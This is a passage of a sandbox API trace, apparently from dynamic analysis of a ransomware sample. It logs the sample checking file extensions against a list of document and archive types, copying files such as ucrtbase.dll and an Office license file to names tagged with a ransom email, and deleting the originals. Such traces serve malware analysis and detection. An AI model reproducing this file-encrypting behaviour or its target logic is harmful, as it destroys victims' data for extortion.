dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.725] lstrlenW (lpString=".doc") returned 4 [0293.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.726] lstrlenW (lpString=".docx") returned 5 [0293.726] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0293.726] lstrlenW (lpString=".pdf") returned 4 [0293.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.726] lstrlenW (lpString=".xls") returned 4 [0293.726] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.726] lstrlenW (lpString=".xlsx") returned 5 [0293.726] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0293.726] lstrlenW (lpString=".ppt") returned 4 [0293.726] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.726] lstrlenW (lpString=".zip") returned 4 [0293.726] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.726] lstrlenW (lpString=".rar") returned 4 [0293.726] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.726] lstrlenW (lpString=".bz2") returned 4 [0293.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.726] lstrlenW (lpString=".7z") returned 3 [0293.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.726] lstrlenW (lpString=".dbf") returned 4 [0293.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.726] lstrlenW (lpString=".1cd") returned 4 [0293.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.726] lstrlenW (lpString=".jpg") returned 4 [0293.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.727] lstrlenW (lpString=".doc") returned 4 [0293.727] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.727] lstrlenW (lpString=".docx") returned 5 [0293.727] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0293.727] lstrlenW (lpString=".pdf") returned 4 [0293.727] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.727] lstrlenW (lpString=".xls") returned 4 [0293.727] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.727] lstrlenW (lpString=".xlsx") returned 5 [0293.727] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0293.727] lstrlenW (lpString=".ppt") returned 4 [0293.727] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.727] lstrlenW (lpString=".zip") returned 4 [0293.727] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.727] lstrlenW (lpString=".rar") returned 4 [0293.727] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.727] lstrlenW (lpString=".bz2") returned 4 [0293.727] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.727] lstrlenW (lpString=".7z") returned 3 [0293.727] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.727] lstrlenW (lpString=".dbf") returned 4 [0293.727] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.727] lstrlenW (lpString=".1cd") returned 4 [0293.727] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0293.728] lstrlenW (lpString=".jpg") returned 4 [0293.728] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.728] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.728] lstrlenW (lpString="ucrtbase.dll") returned 12 [0293.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.728] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=982720) returned 1 [0293.728] CloseHandle (hObject=0x10c4) returned 1 [0293.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0293.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.729] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.729] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0293.729] GetLastError () returned 0x0 [0293.729] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0xefec0, lpOverlapped=0x0) returned 1 [0294.452] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xefed0, lpOverlapped=0x0) returned 1 [0294.680] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.680] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.680] SetEndOfFile (hFile=0x10a0) returned 1 [0294.680] CloseHandle (hObject=0x10a0) returned 1 [0294.680] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.681] SetEndOfFile (hFile=0x10c4) returned 1 [0294.689] CloseHandle (hObject=0x10c4) returned 1 [0294.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0294.690] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0294.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.690] lstrlenW (lpString=".doc") returned 4 [0294.690] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.690] lstrlenW (lpString=".docx") returned 5 [0294.690] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0294.690] lstrlenW (lpString=".pdf") returned 4 [0294.690] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.690] lstrlenW (lpString=".xls") returned 4 [0294.690] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.690] lstrlenW (lpString=".xlsx") returned 5 [0294.690] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0294.690] lstrlenW (lpString=".ppt") returned 4 [0294.690] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.691] lstrlenW (lpString=".zip") returned 4 [0294.691] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.691] lstrlenW (lpString=".rar") returned 4 [0294.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.691] lstrlenW (lpString=".bz2") returned 4 [0294.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.691] lstrlenW (lpString=".7z") returned 3 [0294.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.691] lstrlenW (lpString=".dbf") returned 4 [0294.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.691] lstrlenW (lpString=".1cd") returned 4 [0294.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.691] lstrlenW (lpString=".jpg") returned 4 [0294.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.691] lstrlenW (lpString=".doc") returned 4 [0294.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.691] lstrlenW (lpString=".docx") returned 5 [0294.691] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0294.691] lstrlenW (lpString=".pdf") returned 4 [0294.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.691] lstrlenW (lpString=".xls") returned 4 [0294.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.691] lstrlenW (lpString=".xlsx") returned 5 [0294.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0294.692] lstrlenW (lpString=".ppt") returned 4 [0294.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.692] lstrlenW (lpString=".zip") returned 4 [0294.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.692] lstrlenW (lpString=".rar") returned 4 [0294.692] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.692] lstrlenW (lpString=".bz2") returned 4 [0294.692] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.692] lstrlenW (lpString=".7z") returned 3 [0294.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.692] lstrlenW (lpString=".dbf") returned 4 [0294.692] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.692] lstrlenW (lpString=".1cd") returned 4 [0294.692] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0294.692] lstrlenW (lpString=".jpg") returned 4 [0294.692] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.692] lstrcmpiW (lpString1=".xrm-ms", lpString2=".com") returned 1 [0294.692] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0294.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0294.693] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=590523) returned 1 [0294.693] CloseHandle (hObject=0x10c4) returned 1 [0294.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0294.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0294.693] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.693] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0294.694] GetLastError () returned 0x0 [0294.694] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x902bb, lpOverlapped=0x0) returned 1 [0294.850] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x902c0, lpOverlapped=0x0) returned 1 [0294.880] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.880] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x104, lpOverlapped=0x0) returned 1 [0294.880] SetEndOfFile (hFile=0x10a0) returned 1 [0294.880] CloseHandle (hObject=0x10a0) returned 1 [0294.881] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.881] SetEndOfFile (hFile=0x10c4) returned 1 [0294.885] CloseHandle (hObject=0x10c4) returned 1 [0294.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0294.886] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0294.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.886] lstrlenW (lpString=".doc") returned 4 [0294.886] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0294.886] lstrlenW (lpString=".docx") returned 5 [0294.886] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0294.886] lstrlenW (lpString=".pdf") returned 4 [0294.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0294.886] lstrlenW (lpString=".xls") returned 4 [0294.886] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0294.886] lstrlenW (lpString=".xlsx") returned 5 [0294.886] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0294.886] lstrlenW (lpString=".ppt") returned 4 [0294.886] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0294.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.886] lstrlenW (lpString=".zip") returned 4 [0294.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0294.886] lstrlenW (lpString=".rar") returned 4 [0294.886] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0294.886] lstrlenW (lpString=".bz2") returned 4 [0294.886] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0294.886] lstrlenW (lpString=".7z") returned 3 [0294.886] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0294.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.887] lstrlenW (lpString=".dbf") returned 4 [0294.887] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.887] lstrlenW (lpString=".1cd") returned 4 [0294.887] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.887] lstrlenW (lpString=".jpg") returned 4 [0294.887] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.887] lstrlenW (lpString=".doc") returned 4 [0294.887] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString=".docx") returned 5 [0294.887] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0294.887] lstrlenW (lpString=".pdf") returned 4 [0294.887] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString=".xls") returned 4 [0294.887] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString=".xlsx") returned 5 [0294.887] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0294.887] lstrlenW (lpString=".ppt") returned 4 [0294.887] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.887] lstrlenW (lpString=".zip") returned 4 [0294.887] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString=".rar") returned 4 [0294.887] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0294.887] lstrlenW (lpString=".bz2") returned 4 [0294.887] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0294.888] lstrlenW (lpString=".7z") returned 3 [0294.888] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0294.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.888] lstrlenW (lpString=".dbf") returned 4 [0294.888] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0294.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.888] lstrlenW (lpString=".1cd") returned 4 [0294.888] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0294.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0294.888] lstrlenW (lpString=".jpg") returned 4 [0294.888] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0294.888] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0294.888] lstrlenW (lpString="msdia100.dll") returned 12 [0294.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0294.888] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=990032) returned 1 [0294.888] CloseHandle (hObject=0x10c4) returned 1 [0294.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0294.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0294.889] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.889] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0294.889] GetLastError () returned 0x0 [0294.889] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0xf1b50, lpOverlapped=0x0) returned 1 [0295.205] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xf1b60, lpOverlapped=0x0) returned 1 [0295.219] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.220] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.220] SetEndOfFile (hFile=0x10a0) returned 1 [0295.315] CloseHandle (hObject=0x10a0) returned 1 [0295.315] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.315] SetEndOfFile (hFile=0x10c4) returned 1 [0295.324] CloseHandle (hObject=0x10c4) returned 1 [0295.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0295.324] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0295.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.325] lstrlenW (lpString=".doc") returned 4 [0295.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.325] lstrlenW (lpString=".docx") returned 5 [0295.325] 